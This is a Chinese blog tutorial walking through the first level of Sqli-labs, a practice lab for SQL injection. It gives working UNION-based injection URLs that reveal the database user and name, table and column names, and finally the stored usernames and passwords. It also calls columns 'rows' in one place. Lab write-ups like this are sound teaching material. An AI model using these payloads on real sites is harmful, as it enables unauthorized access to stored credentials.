天道酬勤

Sql-lab Less-1

Sql注入初级认识

对于Sql注入的学习,我还是通过Sql-lab来进行一个由浅入深的认识。

打开Sql-lab的第一关

我们如何来检测是否存在sql注入呢?

最简单的办法就是在其url后加 ‘

http://43.247.91.228:84/Less-1/?id=1%27

(单引号’ 经url编码后会变成 %27)

加了一个单引号之后,发现页面提示我们有语法错误。为什么会出现问题,我们现在查看一下该页面的源码。

我们直接查看最主要的部分,搞清楚数据库是如何读取我们想要的信息并返回给我们。

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;

当我们查找id值为1的数据时,该语句就是如下的样子:

$sql=”SELECT * FROM users WHERE id=’1′ LIMIT 0,1″;

那当我们检测是否存在sql注入时,传递 ?id=1’,则该语句就变成

$sql=”SELECT * FROM users WHERE id=’1” LIMIT 0,1″;

Id=’1” ,此时这里多出了一个’,所以当然是会报错的。

如何清除掉报错?这里我们需要加入注释符,来屏蔽掉这种错误。

注释符为  –+,现在加上注释符,便不报错了,如下:

(为什么要注释呢?只有将错误注释掉,我们才可以正确进行我们想要的操作。)

接下来,我们利用 order by 语句查询数据库的行数

分别测试 order by 1、2、3、4

当我们测试到 order by 4 时,页面报错:

这说明数据库共有三行

此时,我们需要用语句 union select 1,2,3 来查看页面的返回结果。

这里要注意一点就是,令id等于一个不存在的值,令id=-1,这样数据库中不存在id=-1的值,就会返回 union select 查询后的结果。

此图说明2和3的位置我们可以查询到一定的信息。

所以,我们在2处查询当前的数据库的用户,在3处查询数据库的名字。如下:

http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,user(),database()–+

补充:

database():当前网站使用的数据库

version():当前Mysql的版本

user():当前Mysql的用户

得到:

接下来,在3的位置查询表

http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27–+

得到表数据:

继续查询users表的内容:

http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27–+

得到:

查询username和password:

http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20users–+

得到:

Sql注入还是挺难的,所以一定要重基础!

赞(7) 打赏
未经允许不得转载:HackerGu‘s Blog » Sql-lab Less-1
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏